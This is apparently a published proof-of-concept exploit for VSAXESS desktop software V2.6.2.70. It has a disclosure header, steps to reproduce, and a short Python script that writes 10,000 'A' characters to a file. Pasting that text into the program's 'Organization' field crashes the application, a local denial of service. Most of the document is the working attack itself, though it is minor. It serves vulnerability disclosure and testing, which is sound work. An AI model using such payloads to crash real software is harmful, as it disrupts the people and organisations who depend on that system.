# Exploit Title: VSAXESS V2.6.2.70 build20171226_053 - 'organization' Denial of Service (PoC)
# Discovery by: Diego Santamaria
# Discovery Date: 2018-11-05
# Vendor Homepage: https:https://www.visionistech.com/en/home/
# Software Link: https://www.visionistech.com/en/vsaxess-desktop-software/
# Tested Version: V2.6.2.70 build20171226_053
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 7 Professional
 
# Steps to Reproduce: 

# 1. Run the python code organization.py 
# 2. Open organization_exploit.txt and copy the content 
# 3. Open VSAXESS.exe 
# 4. Register a password and username
# 5. choose 'Control Panel'
# 6. choose 'Access Control'
# 7. choose 'Add'
# 8. Paste the content from organization_exploit.txt on 'Organization' and Crashed
 
#!/usr/bin/env python3

content = "\x41" * 10000
f = open ("organization_exploit.txt", "w")
f.write(content)
f.close()